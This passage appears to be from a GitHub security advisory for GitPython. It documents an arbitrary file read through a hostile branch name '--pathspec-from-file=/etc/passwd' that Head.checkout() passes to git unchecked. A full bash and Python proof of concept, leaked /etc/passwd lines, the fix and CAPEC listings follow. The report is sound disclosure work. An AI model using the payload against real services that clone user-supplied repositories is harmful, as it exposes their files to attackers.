error: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'
raw/03-full-file-disclosure.txt counts the recovery against the real file:
Archivo objetivo: /etc/passwd (34 lineas no vacias)
[CASO] repo.active_branch.checkout() — nadie paso un nombre de rama
repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
-> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34
Impact
An attacker who can get an application to clone a repository they control reads any file the
application's process can read, with the contents returned in band. /etc/passwd was recovered in
full (34 of 34 lines) in the run recorded in poc.log.
The attacker needs no account and no privilege in the consuming application, and no
configuration change anywhere: allow_unsafe_options=False is the default, and the vulnerable
consumer is six lines of ordinary code. This is the central use case of the library — CI systems,
repository importers, scanners and bots that clone user-supplied URLs.
Impact precondition
Holds if: the consuming application clones a repository whose default branch name the attacker
chose, and then calls Head.checkout() on it — most commonly as repo.active_branch.checkout(),
which needs no branch-name input from the application at all.
Source writer: the attacker, via the remote repository's HEAD and refs. Verified two ways —
git update-ref + symbolic-ref on a bare repository, and git push to a plain git server, which
receive-pack accepts without --force or special configuration
(raw/02-refname-accepted-and-cloned.txt, raw/06-push-accepts-refname.txt). The application never
writes the branch name; git clone materialises it.
Observed in: validation/gitpython/head-checkout-positional-pathspec/ — GitPython 3.1.62
(latest release) with git 2.55.0, in the single run recorded in poc.log
(2026-09-10T02:10:23-03:00). File read: /etc/passwd, 34 of 34 lines recovered by the caller.
Limits, stated plainly
- Only the full long spelling works, because a refname cannot contain a space and is therefore a
single argv token;
gitrejects the abbreviated forms. This was established while developing the payload and is not part of the attached run — the run exercises the working spelling only. - The attacker must know an absolute path to the target file.
- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile repository none of them do, so the attacker controls this condition too.
- The full-file result was measured on git 2.55.0, where
git checkoutemits oneerror:per unmatched pathspec.GHSA-hh9p-6wh2-4mfcnotes that--pathspec-from-filealone quotes only the first line — that holds forgit rm, which aborts withfatal:on the first. It does not hold forgit checkouton 2.55.0.
Negative control
Full statement of what each control isolates and what would invalidate it: negative-controls.md.
Every batch opens and closes with a positive control; if the closing one does not fire, the batch
is discarded.
Positive control (opening and closing, 4 batches). Head.checkout(pathspec_from_file="/etc/passwd")
— the same payload via kwargs. Fires in every batch:
UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it.
This proves the guard exists, is active under the default, and recognises the option — so a null
result elsewhere cannot be the instrument failing to reach the code.
Negative control. The identical call on a branch named benigna. One variable changes: the
leading -. Result: ['git', 'checkout', 'benigna'], no exception, 0 lines disclosed.
Precision control — the asymmetry inside one file (raw/04-precision-control-reset-vs-checkout.txt).
The same payload against the two methods in git/refs/head.py that received the guard in the same
commit, 185 lines apart:
[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos
HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK]
Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK]
HEAD.reset (head.py:101, _option_candidates([commit], kwargs)) blocks what Head.checkout
(head.py:286, _option_candidates([], kwargs)) lets through. This rules out the alternative
explanation that any string containing --pathspec-from-file reaching git would disclose the file.
Remediation
One line, consistent with what f2550b65 already did for HEAD.reset in this same file:
options=Git._option_candidates([self], kwargs),
The other candidate was evaluated and rejected. Writing
self.repo.git.checkout("--", self, **kwargs) would match the -- pattern used elsewhere in the
library and would also cover future git checkout options — but it changes the semantics and
breaks the method: in git checkout -- <arg>, everything after -- is a pathspec, not a branch.
The command would stop switching branches and start restoring files. The -- pattern works for
fetch/pull/push/clone/archive/rm because their positionals genuinely are non-branch
operands; it does not transfer here.
For defence in depth, Repo.create_head() could reject branch names beginning with -, which would
also close the weaker PR:L path. That is a separate, optional change.
Prior art and de-duplication
All GitPython advisories in the GitHub database were reviewed —
gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate returns 47
(the same command without per_page returns only the first page of 30). Head.checkout appears in
two rows, one of which (GHSA-w672-…) is a withdrawn duplicate, leaving one substantive advisory:
GHSA-hh9p-6wh2-4mfc/ CVE-2026-76217 — same method, but the kwargs path (pathspec_from_file=…, pathspec_file_nul=True), fixed in 3.1.58. That path is closed today; it is the positive control in every batch of this report. The positional path is not covered by it.
Neighbours, none overlapping:
GHSA-3wxw-xv34-2frg/ CVE-2026-78679 — the same class (positional bypasses a kwargs-only guard) in a different method,TagReference.create, fixed in 3.1.59 by1b0d2d9b. That is the patch that did not come back tohead.py:286.GHSA-956x-8gvw-wg5v/ CVE-2026-67323 — precedent for "a value placed before the--with no leading-dash check", inRepo.iter_commits/Repo.blame. Those sites now pass their positional to the guard; this one does not.GHSA-7545-fcxq-7j24/ CVE-2026-44243 — path traversal via ref names in the reference APIs. Different sink (filesystem path construction) and different impact (write and delete), but it establishes that attacker-influenced ref names is a premise this project has already accepted.
No open fix proposal
Searched across three surfaces, because gh search issues excludes pull requests: gh search prs,
gh search issues and the raw search/issues API. No open or closed issue or pull request
proposes passing the positional to the guard in Head.checkout. The three PRs that touch this
guard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that
introduced both call sites in this file, one checking its positional and one not. Full matrix in
dup-check.md.
The project's own tests carry the same asymmetry
test/test_refs.py exercises the guard for both methods, and covers exactly the difference this
report is about:
HEAD.reset— the positional is tested (lines 304-308).Head.checkout— only the kwargs path is tested (lines 282-291).
So the positional variant is a case the suite already knows how to write; it just was not written
for checkout. The docstring added by #2204 to Head.checkout states that --pathspec-from-file
requires opt-in via allow_unsafe_options — which is precisely the guarantee the positional path
does not deliver. Nothing in the project declares the positional acceptable here.
Why the one-line fix works, which is not obvious
Reference.__str__ returns self.name, not self.path. Reference.name strips the first two
path components (reference.py:122-132), so a Head constructed on
refs/heads/--pathspec-from-file=/etc/passwd passes check_path — the path does begin with
refs/heads/ — while str() yields the bare option. Passing [self] to _option_candidates makes
the guard see that same serialised string, which is why the one-line change closes it.
Evidence
| File | What it establishes |
|---|---|
poc.sh |
driver — runs all seven scenarios as one unit |
poc.log |
full transcript of the single reference run |
raw/00-versions-and-source.txt |
version under test is the published one; guard and sink present; def checkout( appears once, so the sink line is unambiguous |
raw/01-real-argv.txt |
real git checkout argv, captured by instrumenting Git.execute |
raw/02-refname-accepted-and-cloned.txt |
git accepts the refname; Repo.clone_from materialises it unasked |
raw/03-full-file-disclosure.txt |
34 of 34 lines of /etc/passwd recovered |
raw/04-precision-control-reset-vs-checkout.txt |
HEAD.reset blocks what Head.checkout allows |
raw/05-six-line-consumer.txt |
six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |
raw/06-push-accepts-refname.txt |
a plain git server accepts the refname over push |
raw/07-blob-version-sweep.txt |
affected range by blob hash, tag by tag |
negative-controls.md |
what each control isolates and what would invalidate it |
evidence.sha256 |
integrity of every raw file and script |
Disclosure
Reported privately through GitHub private vulnerability reporting. No third-party systems were
touched: every repository in this report is a temporary local one, and all transport is file://.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.62"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-73",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T15:28:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "\u003e **A note on the referenced files.** This report was submitted through GitHub\u0027s private\n\u003e vulnerability reporting API, which carries no attachments. Every transcript this report leans\n\u003e on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n\u003e per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n\u003e evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n\u003e to send the bundle by any channel you prefer, or to open a private fork \u2014 just say which. The\n\u003e PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `\u003c= 3.1.62` \u2014 all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough \u2014 no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application\u0027s process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library\u0027s central use case \u2014 CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing \u2014 the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument \u2014 the branch name \u2014 which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) \u2014 *\"Arbitrary file read via `--pathspec-from-file` in\n `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n the guard to this exact method \u2014 but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) \u2014 *\"`TagReference.create` positional reference\n bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` \u2014\n but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` \u2014 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n\u003e \"The audit also found that **reset\u0027s positional commit could carry the option before its argument\n\u003e separator**. [\u2026] **Check reset\u0027s positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`\u003c= 3.1.62`** \u2014 all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 \u2014 `Git._option_candidates([], kwargs)` |\n| Sink | line 293 \u2014 `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` \u2192 **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` \u2014 with no `--` separator \u2014 is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`\u2013`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` \u2014 `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -\u003e List[str]:\n \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n options = [\n option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` \u2014 `Head.checkout()` has neither:\n\n```python\n if not allow_unsafe_options:\n Git.check_unsafe_options(\n options=Git._option_candidates([], kwargs),\n unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n )\n kwargs[\"f\"] = force\n if kwargs[\"f\"] is False:\n kwargs.pop(\"f\")\n\n self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals \u2014 which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n\u003e\u003e\u003e git check-ref-format \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027\n exit=0 stderr=\u0027\u0027\n =\u003e un refname que empieza con \u0027-\u0027 y lleva \u0027/\u0027 es VALIDO para git\n\n\u003e\u003e\u003e git -C \u003cbare\u003e update-ref \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027 beea87239099\n exit=0 stderr=\u0027\u0027\n\u003e\u003e\u003e git -C \u003cbare\u003e symbolic-ref HEAD \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027\n exit=0\n HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n ref en disco como arbol jerarquico: True\n\n\u003e\u003e\u003e Repo.clone_from(\u0027file://\u003cbare\u003e\u0027, \u003cvictim\u003e) # la app solo clona\n ramas LOCALES creadas por el clone, sin que nadie las pida:\n refs/heads/--pathspec-from-file=/etc/passwd\n repo.active_branch.name = \u0027--pathspec-from-file=/etc/passwd\u0027\n coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it \u2014 the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server \u2014\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n self.stderr = stderr_decode and \"\\n stderr: \u0027%s\u0027\" % stderr_decode or \"\"\n\n def __str__(self) -\u003e str:\n return (self._msg + \"\\n cmdline: %s%s%s\") % (\n self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from(\u003cattacker URL\u003e)\n \u2193 remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n \u2193 git clone creates that LOCAL branch unasked\nrepo.active_branch \u2192 Head with name = \"--pathspec-from-file=/etc/passwd\"\n \u2193\nHead.checkout() git/refs/head.py:286 \u2014 guard inspects kwargs only\n \u2193 self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 \u2014 no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n \u2193 git emits one `error:` per unmatched pathspec \u2014 one per line of the file\nGitCommandError \u2192 CommandError.__str__ \u2192 the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local \u2014\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp \u0026\u0026 /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x \u003e \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027 \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027\n\ncat \u003e \"$W/consumer.py\" \u003c\u003c\u0027PYEOF\u0027\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL\n repo.active_branch.checkout() # ensure a clean working tree\nexcept git.exc.GitCommandError:\n logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command GitPython actually built \u2014 the branch name became an option:\n\n```\n argv real : [\u0027git\u0027, \u0027checkout\u0027, \u0027--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt\u0027]\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) \u2014 git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec \u0027mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin\u0027 did not match any file(s) known to git\nerror: pathspec \u0027flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin\u0027 did not match any file(s) known to git\nerror: pathspec \u0027wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin\u0027 did not match any file(s) known to git\nerror: pathspec \u0027jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false\u0027 did not match any file(s) known to git\nerror: pathspec \u0027cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin\u0027 did not match any file(s) known to git\u0027\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd (34 lineas no vacias)\n[CASO] repo.active_branch.checkout() \u2014 nadie paso un nombre de rama\n repo.active_branch.name = \u0027--pathspec-from-file=/etc/passwd\u0027\n -\u003e GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication\u0027s process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library \u2014 CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it \u2014 most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository\u0027s `HEAD` and refs. Verified two ways \u2014\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` \u2014 GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n single argv token; `git` rejects the abbreviated forms. This was established while developing the\n payload and is **not** part of the attached run \u2014 the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n first line \u2014 that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n\u2014 the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option \u2014 so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `[\u0027git\u0027, \u0027checkout\u0027, \u0027benigna\u0027]`, no exception, 0 lines disclosed.\n\n**Precision control \u2014 the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK]\n Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options \u2014 but it **changes the semantics and\nbreaks the method**: in `git checkout -- \u003carg\u003e`, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed \u2014\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-\u2026`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** \u2014 same method, but the **kwargs** path\n (`pathspec_from_file=\u2026, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** \u2014 the same **class** (positional bypasses a kwargs-only\n guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** \u2014 precedent for \"a value placed before the `--` with no\n leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** \u2014 path traversal via ref names in the reference APIs.\n Different sink (filesystem path construction) and different impact (write and delete), but it\n establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it \u2014 #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project\u0027s own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` \u2014 the **positional** is tested (lines 304-308).\n- `Head.checkout` \u2014 only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` \u2014 which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` \u2014 the *path* does begin with\n`refs/heads/` \u2014 while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver \u2014 runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.",
"id": "GHSA-23mf-xhv8-69c2",
"modified": "2026-10-27T15:28:03Z",
"published": "2026-10-27T15:28:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2233"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)"
}
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-116: Excavation
An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-169: Footprinting
An adversary engages in probing and exploration activities to identify constituents and properties of the target.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-224: Fingerprinting
An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.
CAPEC-285: ICMP Echo Request Ping
